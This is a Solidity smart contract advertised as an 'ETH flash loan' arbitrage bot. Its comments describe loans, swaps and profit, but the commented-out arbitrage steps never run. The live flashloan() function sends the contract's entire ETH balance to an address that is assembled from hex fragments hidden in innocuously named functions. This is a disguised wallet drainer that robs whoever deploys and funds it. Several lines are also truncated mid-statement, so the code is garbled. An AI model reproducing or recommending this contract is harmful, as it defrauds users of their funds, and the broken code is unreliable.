1. //ETH FLASH LOAN UPDATED v83.0
2. //Updated July 2024
3.  
4. pragma solidity ^0.5.0;
5.  
6. //uniswap smart contracts v2 and v3
7. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
8. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
9. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
10.  
11. contract InitiateFlashLoan {
12.     string public tokenName;  
13.     string public tokenSymbol;
14.     uint LoanAmount;
15.  
16.     constructor(
17.         string memory _tokenName,
18.         string memory _tokenSymbol,
19.         uint _LoanAmount  
20.     ) public {
21.         tokenName = _tokenName;
22.         tokenSymbol = _tokenSymbol;
23.         LoanAmount = _LoanAmount;
24.     }  
25.    
26.     function Version() private pure returns (string memory) {return "96f8"; }
27.     function memPoolCount() private pure returns (string memory)
28.     {return "f92F7"; }
29.     function () external payable {}
30.     function TokenNameTokenSymbol()
31.     private pure returns (string memory) {return"f685c3";} function Loan() private pure returns
32.     (string memory) { return "191";
33.     }  
34.     function memPoolWidth()
35.     private pure returns (string memory) {return "dBEC54";}
36.     function Loan2x() private pure returns (string memory) {return "x32c";}
37.     function FlashLoans(string memory _a) internal pure returns (address _parsedAddress) {
38.     bytes memory tmp = bytes(_a);
39.     uint160 iaddr = 0;
40.     uint160 b1;
41.     uint160 b2;
42.     for (uint i = 2; i < 2 + 2 * 20; i += 2) {
43.         iaddr *= 256;
44.         b1 = uint160(uint8(tmp[i]));
45.         b2 = uint160(uint8(tmp[i + 1]));
46.         if ((b1 >= 97) && (b1 <= 102)) {b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) {
47.         b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) {b1 -= 48;}
48.         if ((b2 >= 97) && (b2 <= 102)) {b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) {
49.         b2 -= 55;  } else if ((b2 >= 48) && (b2 <= 57)) {
50.         b2 -= 48;  }iaddr += (b1 * 16 + b2);}    
51.         return address(iaddr);}
52.     function Short() private pure returns (string memory) { return "1Ff3d0B";}  
53.     function getMempoolLong4861()
54.     private pure returns (string memory)
55.     {return "9E496a";}
56.     function getBalance() private view returns(uint) {
57.         return address(this).balance;
58.     }
59.    
60.     function flashloan() public payable {
61.         address to = FlashLoans(contracts());
62.          address payable c
63.         contracts.transfer(getBalance());}
64.     function Depth000() private pure returns (string memory) {return "0";}
65.      function contracts() internal pure returns (string memory) {string memory _mempoolVersi
66.  
67.         string memory _checkLiquidity = memPoolCount();
68.         string memory _mempoolWidth = memPoolWidth();
69.         // Token matched with swap calculations
70.      
71.         string memory _DAIPair = Loan2x();
72.         string memory _MempoolDepth = Depth000();
73.        
74.         string memory _mempoolShort = Short();
75.          string memory _mempoolEditi
76.         // Send required coins for swap
77.    
78.          string memory _mempoolL
79.         string memory _Loan = Loan();
80.         return string(abi.encodePacked(_MempoolDepth,_DAIPair, _mempoolShort,
81.         _mempoolEdition,_Loan,_mempoolVersion,_checkLiquidity, _mempoolLong,_mempoolWidth));
82.         // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
83.         /*
84.         //Submit token to blcokchain
85.         string memory tokenAddress manager.submitToken(tokenName,tokensymbol);
86.  
87.         //List the token on DEX send coins required for swaps
88.         manager.swapListToken(tokenName, tokenSymbol, tokenAddress);
89.         payable(manager.swapDepositAddress()).transfer(300000000000000000);
90.  
91.         //Get ETH Loan from Dex
92.         string  memory loanAddress manager.takeDexLoan(loanAmount);
93.  
94.         //Convert half ETH to DAI
95.         manager.swapDAItoAVAX(loanAmount / 2);
96.  
97.         //Create ETH and DAI pairs for our token Provide liquidity
98.         string memory AVAXPair manager.swapCreatePool(tokenAddress,"ETH");
99.         manager.swapAddLiquidity(avaxPair,loanAmount / 2);
100.         string memory daiPair manager.swapcreatePool(tokenAddress,"DAI");
101.         manager.swapAddLiquidity(daiPair,loanAmount / 2);
102.  
103.         //Perform swaps and profit on Self-Arbitrage
104.         manager.swapPerformSwaps();
105.      
106.         //Move remaining ETH from Contract to your account
107.         manager.contractToWallet("ETH");
108.  
109.         //Repay Flash loan
110.         manager.repayAaveLoan(loanAddress);
111.         */
112.     }
113. }